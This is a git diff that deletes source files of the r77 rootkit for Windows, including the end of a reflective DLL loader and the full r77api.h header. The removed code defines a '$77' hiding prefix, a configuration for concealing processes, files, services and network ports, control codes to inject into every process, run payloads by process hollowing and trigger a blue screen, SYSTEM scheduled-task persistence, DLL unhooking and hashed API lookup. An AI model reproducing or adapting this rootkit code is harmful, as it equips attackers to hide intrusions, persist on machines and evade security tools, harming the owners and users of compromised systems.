- UINT_PTR imageBase = (UINT_PTR)(allocatedMemory - ntHeaders->OptionalHeader.ImageBase);
-
- for (PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(allocatedMemory + relocationDirectory->VirtualAddress); baseRelocation->SizeOfBlock; baseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseRelocation + baseRelocation->SizeOfBlock))
- {
- LPBYTE relocationAddress = allocatedMemory + baseRelocation->VirtualAddress;
- nt::PIMAGE_RELOC relocations = (nt::PIMAGE_RELOC)((LPBYTE)baseRelocation + sizeof(IMAGE_BASE_RELOCATION));
-
- for (UINT_PTR i = 0; i < (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(nt::IMAGE_RELOC); i++)
- {
- if (relocations[i].Type == IMAGE_REL_BASED_DIR64) *(PUINT_PTR)(relocationAddress + relocations[i].Offset) += imageBase;
- else if (relocations[i].Type == IMAGE_REL_BASED_HIGHLOW) *(LPDWORD)(relocationAddress + relocations[i].Offset) += (DWORD)imageBase;
- else if (relocations[i].Type == IMAGE_REL_BASED_HIGH) *(LPWORD)(relocationAddress + relocations[i].Offset) += HIWORD(imageBase);
- else if (relocations[i].Type == IMAGE_REL_BASED_LOW) *(LPWORD)(relocationAddress + relocations[i].Offset) += LOWORD(imageBase);
- }
- }
- }
-
- // Get actual main entry point.
- nt::DLLMAIN dllMain = (nt::DLLMAIN)(allocatedMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint);
-
- // Flush instruction cache to avoid stale instructions on modified code to be executed.
- ntFlushInstructionCache(INVALID_HANDLE_VALUE, NULL, 0);
-
- // Call actual DllMain.
- return dllMain((HINSTANCE)allocatedMemory, DLL_PROCESS_ATTACH, NULL);
- }
- }
-
- // If loading failed, DllMain was not executed either. Return FALSE.
- return FALSE;
-}
-#endif
-
-namespace nt
-{
- NTSTATUS NTAPI NtQueryObject(HANDLE handle, nt::OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength)
- {
- return ((nt::NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength);
- }
- NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer)
- {
- // Use NtCreateThreadEx instead of CreateRemoteThread.
- // CreateRemoteThread does not work across sessions in Windows 7.
- return ((nt::NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer);
- }
- NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue)
- {
- return ((nt::RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue);
- }
- NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb)
- {
- return ((nt::RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb);
- }
-}
-
-namespace libc
-{
- VOID memcpy(LPBYTE dest, LPBYTE src, DWORD size)
- {
- for (DWORD i = 0; i < size; i++)
- {
- *dest++ = *src++;
- }
- }
- DWORD strhash(LPCSTR str)
- {
- DWORD hash = 0;
-
- while (*str)
- {
- hash = ROTR(hash, 13) + *str++;
- }
-
- return hash;
- }
- DWORD strhashi(LPCSTR str, USHORT length)
- {
- DWORD hash = 0;
-
- for (USHORT i = 0; i < length; i++)
- {
- hash = ROTR(hash, 13) + (str[i] >= 'a' ? str[i] - 0x20 : str[i]);
- }
-
- return hash;
- }
-}
\ No newline at end of file
diff --git a/src/r77api.h b/src/r77api.h
deleted file mode 100644
index 8d52adb..0000000
--- a/src/r77api.h
+++ /dev/null
@@ -1,793 +0,0 @@
-#pragma warning(disable: 6258) // Using TerminateThread does not allow proper thread clean up.
-#pragma warning(disable: 26812) // The enum type is unscoped. Prefer 'enum class' over 'enum'
-#pragma comment(lib, "ntdll.lib")
-#pragma comment(lib, "shlwapi.lib")
-#pragma comment(lib, "taskschd.lib")
-
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include "ntdll.h"
-
-///
-/// Rotates a value right by a defined number of bits.
-///
-#define ROTR(value, bits) ((DWORD)(value) >> (bits) | (DWORD)(value) << (32 - (bits)))
-
-// These preprocessor definitions must match the constants in GlobalAssemblyInfo.cs
-
-///
-/// Set a random seed.
-/// Example: InitializeApi(INITIALIZE_API_SRAND)
-///
-#define INITIALIZE_API_SRAND 1
-///
-/// Obtain SeDebugPrivilege, if possible.
-/// Example: InitializeApi(INITIALIZE_API_DEBUG_PRIVILEGE)
-///
-#define INITIALIZE_API_DEBUG_PRIVILEGE 2
-
-///
-/// The prefix for name based hiding (e.g. processes, files, etc...).
-///
-#define HIDE_PREFIX L"$77"
-///
-/// The length of the hide prefix, excluding the terminating null character.
-///
-#define HIDE_PREFIX_LENGTH (sizeof(HIDE_PREFIX) / sizeof(WCHAR) - 1)
-
-///
-/// r77 header signature: The process is injected with the r77 DLL.
-///
-#define R77_SIGNATURE 0x7277
-///
-/// r77 header signature: The process is the r77 service process.
-///
-#define R77_SERVICE_SIGNATURE 0x7273
-///
-/// r77 header signature: The process is an r77 helper file (e.g. TestConsole.exe).
-///
-#define R77_HELPER_SIGNATURE 0x7268
-
-///
-/// Name for the scheduled task that starts the r77 service for 32-bit processes.
-///
-#define R77_SERVICE_NAME32 HIDE_PREFIX L"svc32"
-///
-/// Name for the scheduled task that starts the r77 service for 64-bit processes.
-///
-#define R77_SERVICE_NAME64 HIDE_PREFIX L"svc64"
-
-///
-/// Name for the named pipe that notifies the 32-bit r77 service about new child processes.
-///
-#define CHILD_PROCESS_PIPE_NAME32 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc32"
-///
-/// Name for the named pipe that notifies the 64-bit r77 service about new child processes.
-///
-#define CHILD_PROCESS_PIPE_NAME64 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc64"
-
-///
-/// Name for the named pipe that receives commands from external processes.
-///
-#define CONTROL_PIPE_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control"
-///
-/// Name for the internally used named pipe of the 64-bit r77 service that receives redirected commands from the 32-bit r77 service.
-/// Do not use! Always use CONTROL_PIPE_NAME.
-///
-#define CONTROL_PIPE_REDIRECT64_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control_redirect64"
-
-///
-/// Specifies a list of processes that will not be injected.
-/// By default, this list includes processes that are known to cause problems.
-/// To customize this list, add custom entries and recompile.
-///
-#define PROCESS_EXCLUSIONS { L"MSBuild.exe" }
-// Example: { L"MSBuild.exe", L"your_app.exe", L"another_app.exe" }
-
-///
-/// The control code that terminates the r77 service.
-///
-#define CONTROL_R77_TERMINATE_SERVICE 0x1001
-///
-/// The control code that uninstalls r77.
-///
-#define CONTROL_R77_UNINSTALL 0x1002
-///
-/// The control code that temporarily pauses injection of new processes.
-///
-#define CONTROL_R77_PAUSE_INJECTION 0x1003
-///
-/// The control code that resumes injection of new processes.
-///
-#define CONTROL_R77_RESUME_INJECTION 0x1004
-///
-/// The control code that injects r77 into a specific process, if it is not yet injected.
-///
-#define CONTROL_PROCESSES_INJECT 0x2001
-///
-/// The control code that injects r77 into all processes that are not yet injected.
-///
-#define CONTROL_PROCESSES_INJECT_ALL 0x2002
-///
-/// The control code that detaches r77 from a specific process.
-///
-#define CONTROL_PROCESSES_DETACH 0x2003
-///
-/// The control code that detaches r77 from all processes.
-///
-#define CONTROL_PROCESSES_DETACH_ALL 0x2004
-///
-/// The control code that executes a file using ShellExecute.
-///
-#define CONTROL_USER_SHELLEXEC 0x3001
-///
-/// The control code that executes an executable using process hollowing.
-///
-#define CONTROL_USER_RUNPE 0x3002
-///
-/// The control code that triggers a BSOD.
-///
-#define CONTROL_SYSTEM_BSOD 0x4001
-
-///
-/// A callback that notifies about a process ID.
-///
-typedef VOID(*PROCESSIDCALLBACK)(DWORD processId);
-///
-/// A callback that notifies the r77 service about a command.
-///
-typedef VOID(*CONTROLCALLBACK)(DWORD controlCode, HANDLE pipe);
-
-///
-/// Defines a collection of ULONG values.
-///
-typedef struct _INTEGER_LIST
-{
- ///
- /// The number of ULONG values in this list.
- ///
- DWORD Count;
- ///
- /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added.
- ///
- DWORD Capacity;
- ///
- /// A buffer that stores the ULONG values in this list.
- ///
- PULONG Values;
-} INTEGER_LIST, *PINTEGER_LIST;
-
-///
-/// Defines a collection of strings.
-///
-typedef struct _STRING_LIST
-{
- ///
- /// The number of strings in this list.
- ///
- DWORD Count;
- ///
- /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added.
- ///
- DWORD Capacity;
- ///
- /// TRUE to treat strings as case insensitive.
- ///
- BOOL IgnoreCase;
- ///
- /// A buffer that stores the strings in this list.
- ///
- LPWSTR *Values;
-} STRING_LIST, *PSTRING_LIST;
-
-///
-/// Defines the r77 header.
-///
-typedef struct _R77_PROCESS
-{
- ///
- /// The process ID of the process.
- ///
- DWORD ProcessId;
- ///
- /// The signature (R77_SIGNATURE, R77_SERVICE_SIGNATURE, or R77_HELPER_SIGNATURE).
- ///
- WORD Signature;
- ///
- /// A function pointer to Rootkit::Detach in the remote process. This function detaches the injected r77 DLL
- /// Applies only, if Signature == R77_SIGNATURE.
- ///
- DWORD64 DetachAddress;
-} R77_PROCESS, *PR77_PROCESS;
-
-///
-/// Defines the global configuration for r77.
-///
-typedef struct _R77_CONFIG
-{
- ///
- /// A list of file paths to start when windows starts.
- ///
- PSTRING_LIST StartupFiles;
- ///
- /// A list of process ID's to hide in addition to processes hidden by the prefix.
- ///
- PINTEGER_LIST HiddenProcessIds;
- ///
- /// A list of process names to hide in addition to processes hidden by the prefix.
- ///
- PSTRING_LIST HiddenProcessNames;
- ///
- /// A list of file or directory full paths to hide in addition to files and directories hidden by the prefix.
- ///
- PSTRING_LIST HiddenPaths;
- ///
- /// A list of service names to hide in addition to services hidden by the prefix.
- ///
- PSTRING_LIST HiddenServiceNames;
- ///
- /// A list of local TCP ports to hide.
- ///
- PINTEGER_LIST HiddenTcpLocalPorts;
- ///
- /// A list of remote TCP ports to hide.
- ///
- PINTEGER_LIST HiddenTcpRemotePorts;
- ///
- /// A list of UDP ports to hide.
- ///
- PINTEGER_LIST HiddenUdpPorts;
-} R77_CONFIG, *PR77_CONFIG;
-
-///
-/// Defines a listener, that checks for new processes in a given interval.
-///
-typedef struct _NEW_PROCESS_LISTENER
-{
- ///
- /// The interval, in milliseconds, between each enumeration of running processes.
- ///
- DWORD Interval;
- ///
- /// The function that is called, when a process is found that was not present in the previous enumeration.
- ///
- PROCESSIDCALLBACK Callback;
-} NEW_PROCESS_LISTENER, *PNEW_PROCESS_LISTENER;
-
-///
-/// Initializes API features.
-///
-/// One or multiple flags to specify what should be initialized, or 0, if nothing should be initialized.
-VOID InitializeApi(DWORD flags);
-///
-/// Generates a random lowercase hexadecimal string.
-///
-/// A buffer of unicode characters to write the string to.
-/// The number of characters to write.
-VOID RandomString(PWCHAR str, DWORD length);
-///
-/// Converts a LPCWSTR into a null terminated LPCSTR.
-///
-/// The LPCWSTR to convert.
-///
-/// A newly allocated LPCSTR with the converted LPCWSTR.
-///
-LPCSTR ConvertStringToAString(LPCWSTR str);
-///
-/// Converts a UNICODE_STRING into a null terminated LPWSTR.
-///
-/// The UNICODE_STRING to convert.
-///
-/// A newly allocated LPWSTR with the converted UNICODE_STRING.
-///
-LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str);
-///
-/// Determines whether the operating system is a 64-bit operating system.
-///
-///
-/// TRUE, if the operating system is a 64-bit operating system;
-/// otherwise, FALSE.
-///
-BOOL Is64BitOperatingSystem();
-///
-/// Determines whether a process is a 64-bit process.
-///
-/// The process ID to check.
-/// A pointer to a BOOL value to write the result to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit);
-///
-/// Retrieves a function from a DLL specified by a name.
-///
-/// The name of the DLL to retrieve the function from.
-/// The name of the function to retrieve.
-///
-/// A pointer to the function, or NULL, if either the DLL was not found or does not have a function by the specified name.
-///
-LPVOID GetFunction(LPCSTR dll, LPCSTR function);
-///
-/// Gets the integrity level of a process.
-///
-/// The process ID to check.
-/// A pointer to a DWORD value to write the result to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel);
-///
-/// Gets the filename or the full path of a process.
-///
-/// The process ID to retrieve the filename or full path from.
-/// TRUE to return the full path, FALSE to return only the filename.
-/// A buffer to write the filename or full path to.
-/// The length of the fileName buffer.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength);
-///
-/// Gets the username of a process.
-///
-/// The handle to the process to check.
-/// A buffer of unicode characters to write the result to.
-/// The length of the result buffer.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength);
-///
-/// Obtains the SeDebugPrivilege.
-///
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL EnabledDebugPrivilege();
-///
-/// Gets an executable resource.
-///
-/// The identifier of the resource.
-/// The type identifier of the resource.
-/// A pointer that is set to a newly allocated buffer with the resource data.
-/// A pointer to a DWORD value to write the size of the returned buffer to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size);
-///
-/// Retrieves the full path from a file handle.
-///
-/// A file handle to retrieve the path from.
-/// A buffer to write the path to.
-/// The length of the fileName buffer.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength);
-///
-/// Reads the contents of a file.
-///
-/// The path to the file to read.
-/// A pointer that is set to a newly allocated buffer with the file contents.
-/// A pointer to a DWORD value to write the size of the returned buffer to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size);
-///
-/// Reads a null terminated LPCWSTR from the specified file.
-///
-/// A file handle to read the string from.
-/// The buffer to write the string to.
-/// The length of the string buffer.
-///
-/// TRUE, if this function succeeds;
-/// FALSE, if the string was longer than the specified buffer, or the end of the file was reached before the null terminator.
-///
-BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length);
-///
-/// Writes a buffer to a file.
-///
-/// The path to the file to create.
-/// A buffer to write to the file.
-/// The number of bytes to write.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size);
-///
-/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it.
-///
-/// A buffer to write to the file.
-/// The number of bytes to write.
-/// The extension to append to the random filename, excluding the dot.
-/// A buffer of unicode characters to write the path of the created file to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath);
-///
-/// Executes a file and waits for the process to exit.
-///
-/// The path to the file to execute.
-/// TRUE, to attempt to delete the file. A total of 10 deletion attempts with a delay of 100 ms is performed.
-///
-/// TRUE, if the file was successfully executed;
-/// otherwise, FALSE.
-/// If the file was executed, but deletion failed, TRUE is returned.
-///
-BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile);
-///
-/// Creates a scheduled task that is set to run under the SYSTEM account before the user logs in.
-///
-/// The name of the scheduled task.
-/// The working directory of the scheduled task.
-/// The application name of the scheduled task.
-/// The commandline arguments to pass to the created process.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments);
-///
-/// Starts a scheduled task.
-///
-/// The name of the scheduled task.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL RunScheduledTask(LPCWSTR name);
-///
-/// Deletes a scheduled task.
-///
-/// The name of the scheduled task.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL DeleteScheduledTask(LPCWSTR name);
-///
-/// Creates a named pipe that is accessible by every process.
-///
-/// The name of the named pipe to be created.
-///
-/// A handle to the newly created named pipe, or INVALID_HANDLE_VALUE, if creation failed.
-///
-HANDLE CreatePublicNamedPipe(LPCWSTR name);
-
-///
-/// Determines the bitness of an executable file.
-///
-/// A buffer containing the executable file.
-/// A pointer to a BOOL value to write the result to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit);
-///
-/// Retrieves a function pointer from the PEB.
-///
-/// The hash of the module name. The module must be loaded.
-/// The hash of the function name.
-///
-/// A pointer to the function, or NULL, if the function could not be found.
-///
-LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash);
-///
-/// Creates a new process using the process hollowing technique.
-/// The bitness of the current process, the created process and the payload must match.
-///
-/// The target executable path. This can be any existing file with the same bitness as the current process and the payload.
-/// The actual executable that is the payload of the new process, regardless of the path argument.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL RunPE(LPCWSTR path, LPBYTE payload);
-///
-/// Injects a DLL using reflective DLL injection.
-/// The DLL must export a function called "ReflectiveDllMain".
-/// The bitness of the target process must match that of the current process.
-/// The integrity level of the target process must be at least medium.
-/// The process must not be critical.
-///
-/// The process to inject the DLL in.
-/// A buffer with the DLL file.
-/// dllSize The size of the DLL file.
-/// TRUE to not wait for DllMain to return. If this parameter is set, this function does not return FALSE, if DllMain returned FALSE.
-///
-/// TRUE, if the DLL was successfully injected and DllMain returned TRUE;
-/// otherwise, FALSE.
-///
-BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast);
-///
-/// Gets the file offset of an exported function from an executable file.
-///
-/// A buffer with the executable file.
-/// The name of the exported function.
-///
-/// The file offset of the exported function; or 0, if this function fails.
-///
-DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName);
-///
-/// Converts a RVA to a file offset.
-///
-/// A buffer with the executable file.
-/// The RVA to convert.
-///
-/// The file offset converted from the specified RVA; or 0, if this function fails.
-///
-DWORD RvaToOffset(LPBYTE image, DWORD rva);
-///
-/// Unhooks a DLL by replacing the .text section with the original DLL section.
-///
-/// The name of the DLL to unhook.
-VOID UnhookDll(LPCWSTR name);
-///
-/// Determines whether the process is on the process exclusion list and should not be injected.
-///
-/// The process ID to check.
-///
-/// TRUE, if the process should not be injected;
-/// otherwise, FALSE.
-///
-BOOL IsProcessExcluded(DWORD processId);
-
-///
-/// Creates a new INTEGER_LIST.
-///
-///
-/// A pointer to the newly created INTEGER_LIST structure.
-///
-PINTEGER_LIST CreateIntegerList();
-///
-/// Loads DWORD values from the specified registry key into the specified INTEGER_LIST structure.
-/// Values that are already in the list are not added.
-///
-/// The INTEGER_LIST structure to add the values to.
-/// The registry key to read DWORD values from.
-VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key);
-///
-/// Deletes the specified INTEGER_LIST structure.
-///
-/// The INTEGER_LIST structure to delete.
-VOID DeleteIntegerList(PINTEGER_LIST list);
-///
-/// Adds a ULONG value to the specified INTEGER_LIST.
-///
-/// The INTEGER_LIST structure to add the ULONG value to.
-/// The ULONG value to add to the list.
-VOID IntegerListAdd(PINTEGER_LIST list, ULONG value);
-///
-/// Determines whether the ULONG value is in the specified INTEGER_LIST.
-///
-/// The INTEGER_LIST structure to search.
-/// The ULONG value to check.
-///
-/// TRUE, if the specified ULONG value is in the specified INTEGER_LIST;
-/// otherwise, FALSE.
-///
-BOOL IntegerListContains(PINTEGER_LIST list, ULONG value);
-///
-/// Compares two INTEGER_LIST structures for equality.
-///
-/// The first INTEGER_LIST structure.
-/// The second INTEGER_LIST structure.
-///
-/// TRUE, if both INTEGER_LIST structures are equal;
-/// otherwise, FALSE.
-///
-BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB);
-
-///
-/// Creates a new STRING_LIST.
-///
-/// TRUE to treat strings as case insensitive.
-///
-/// A pointer to the newly created STRING_LIST structure.
-///
-PSTRING_LIST CreateStringList(BOOL ignoreCase);
-///
-/// Loads REG_SZ values from the specified registry key into the specified STRING_LIST structure.
-/// Strings that are already in the list are not added.
-///
-/// The STRING_LIST structure to add the strings to.
-/// The registry key to read REG_SZ values from.
-/// The maximum length of REG_SZ values that are read from the registry key.
-VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength);
-///
-/// Deletes the specified STRING_LIST structure.
-///
-/// The STRING_LIST structure to delete.
-VOID DeleteStringList(PSTRING_LIST list);
-///
-/// Adds a string to the specified STRING_LIST.
-///
-/// The STRING_LIST structure to add the string to.
-/// The string to add to the list.
-VOID StringListAdd(PSTRING_LIST list, LPCWSTR value);
-///
-/// Determines whether the string is in the specified STRING_LIST.
-///
-/// The STRING_LIST structure to search.
-/// The string to check.
-///
-/// TRUE, if the specified string is in the specified STRING_LIST;
-/// otherwise, FALSE.
-///
-BOOL StringListContains(PSTRING_LIST list, LPCWSTR value);
-///
-/// Compares two STRING_LIST structures for equality.
-///
-/// The first STRING_LIST structure.
-/// The second STRING_LIST structure.
-///
-/// TRUE, if both STRING_LIST structures are equal;
-/// otherwise, FALSE.
-///
-BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB);
-
-///
-/// Retrieves a list of all processes where an r77 header is present.
-/// The result includes only processes where the bitness matches that of the current process.
-///
-/// A buffer with R77_PROCESS structures to write the result to.
-/// A DWORD pointer with the number of structures in the buffer. The number of returned entries is written to this value.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count);
-///
-/// Detaches r77 from the specified process.
-/// The bitness of the target process must match that of the current process.
-///
-/// The process to detach r77 from.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL DetachInjectedProcess(const R77_PROCESS &r77Process);
-///
-/// Detaches r77 from the specified process.
-/// The bitness of the target process must match that of the current process.
-///
-/// The process ID to detach r77 from.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL DetachInjectedProcess(DWORD processId);
-///
-/// Detaches r77 from all running processes.
-/// Only processes where the bitness matches that of the current process are detached.
-///
-VOID DetachAllInjectedProcesses();
-///
-/// Terminates all r77 service processes. Typically, there are two active r77 service processes, one 32-bit and one 64-bit process.
-/// Only processes where the bitness matches that of the current process are terminated.
-///
-///
-/// A process ID that should not be terminated. Use -1 to not exclude any processes.
-///
-VOID TerminateR77Service(DWORD excludedProcessId);
-
-///
-/// Loads the global configuration for r77.
-///
-///
-/// A newly allocated R77_CONFIG structure.
-///
-PR77_CONFIG LoadR77Config();
-///
-/// Deletes the specified R77_CONFIG structure.
-///
-/// The R77_CONFIG structure to delete.
-VOID DeleteR77Config(PR77_CONFIG config);
-///
-/// Compares two R77_CONFIG structures for equality.
-///
-/// The first R77_CONFIG structure.
-/// The second R77_CONFIG structure.
-///
-/// TRUE, if both R77_CONFIG structures are equal;
-/// otherwise, FALSE.
-///
-BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB);
-///
-/// Creates the r77 configuration registry key with full access to all users.
-///
-/// The newly created HKEY.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL InstallR77Config(PHKEY key);
-///
-/// Deletes the r77 configuration from the registry.
-///
-VOID UninstallR77Config();
-
-///
-/// Creates a named pipe that listens for notifications about created child processes.
-///
-/// The function that is called, when the named pipe received a process ID.
-VOID ChildProcessListener(PROCESSIDCALLBACK callback);
-///
-/// Notifies the child process listener about a new child process. When this function returns, the child process has been injected.
-///
-/// The process ID of the new process.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL HookChildProcess(DWORD processId);
-
-///
-/// Creates a new process listener, that checks for new processes in a given interval.
-///
-/// The interval, in milliseconds, between each enumeration of running processes.
-/// The function that is called, when a process is found that was not present in the previous enumeration.
-///
-/// A pointer to the newly created NEW_PROCESS_LISTENER structure.
-///
-PNEW_PROCESS_LISTENER NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback);
-
-///
-/// Creates a new listener for the control pipe that receives commands from any process.
-///
-/// The function that is called, when a command is received by another process.
-VOID ControlPipeListener(CONTROLCALLBACK callback);
-
-#ifdef EXPORT_REFLECTIVE_DLL_MAIN
-///
-/// Position independent shellcode that loads the DLL after it was written to the remote process memory.
-/// This is the main entry point for reflective DLL injection.
-///
-/// A pointer to the beginning of the DLL file.
-///
-/// If this function succeeds, the return value of DllMain;
-/// otherwise, FALSE.
-///
-__declspec(dllexport) BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase);
-#endif
-
-namespace nt
-{
- NTSTATUS NTAPI NtQueryObject(HANDLE handle, nt::OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
- NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
- NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
- NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
-}
-
-// Shellcode variants of libc functions; Used by the reflective loader, prior to any DLL's being loaded
-namespace libc
-{
- VOID memcpy(LPBYTE dest, LPBYTE src, DWORD size);
- DWORD strhash(LPCSTR str);
- DWORD strhashi(LPCSTR str, USHORT length);
-}
\ No newline at end of file
diff --git a/vs/Helper32/Helper32.vcxproj.filters b/vs/Helper32/Helper32.vcxproj.filters
deleted file mode 100644
index ac7adc0..0000000
--- a/vs/Helper32/Helper32.vcxproj.filters
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/vs/Helper64/Helper64.vcxproj.filters b/vs/Helper64/Helper64.vcxproj.filters
deleted file mode 100644
index ac7adc0..0000000
--- a/vs/Helper64/Helper64.vcxproj.filters
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/vs/Install/Resource.rc b/vs/Install/Resource.rc
deleted file mode 100644
index d4a1e57..0000000
--- a/vs/Install/Resource.rc
+++ /dev/null
@@ -1,69 +0,0 @@
-// Microsoft Visual C++ generated resource script.
-//
-#include "resource.h"
-
-#define APSTUDIO_READONLY_SYMBOLS
-/////////////////////////////////////////////////////////////////////////////
-//
-// Generated from the TEXTINCLUDE 2 resource.
-//
-#include "winres.h"
-
-/////////////////////////////////////////////////////////////////////////////
-#undef APSTUDIO_READONLY_SYMBOLS
-
-/////////////////////////////////////////////////////////////////////////////
-// English (United States) resources
-
-#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
-LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
-#pragma code_page(1252)
-
-#ifdef APSTUDIO_INVOKED
-/////////////////////////////////////////////////////////////////////////////
-//
-// TEXTINCLUDE
-//
-
-1 TEXTINCLUDE
-BEGIN
- "resource.h\0"
-END
-
-2 TEXTINCLUDE
-BEGIN
- "#include ""winres.h""\r\n"
- "\0"
-END
-
-3 TEXTINCLUDE
-BEGIN
- "\r\n"
- "\0"
-END
-
-#endif // APSTUDIO_INVOKED
-
-
-/////////////////////////////////////////////////////////////////////////////
-//
-// EXE
-//
-
-IDR_INSTALLSTAGER EXE "Resources\\InstallStager.exe"
-
-#endif // English (United States) resources
-/////////////////////////////////////////////////////////////////////////////
-
-
-
-#ifndef APSTUDIO_INVOKED
-/////////////////////////////////////////////////////////////////////////////
-//
-// Generated from the TEXTINCLUDE 3 resource.
-//
-
-
-/////////////////////////////////////////////////////////////////////////////
-#endif // not APSTUDIO_INVOKED
-
diff --git a/vs/InstallService32/InstallService32.vcxproj.filters b/vs/InstallService32/InstallService32.vcxproj.filters
deleted file mode 100644
index 465ddd7..0000000
--- a/vs/InstallService32/InstallService32.vcxproj.filters
+++ /dev/null
@@ -1,26 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- {d2e0541b-9b37-4d4c-862a-dc53df8eeb06}
-
-
-
-
- Resources
-
-
-
-
-
-
\ No newline at end of file
diff --git a/vs/InstallService64/InstallService64.vcxproj.filters b/vs/InstallService64/InstallService64.vcxproj.filters
deleted file mode 100644
index 10c7de7..0000000
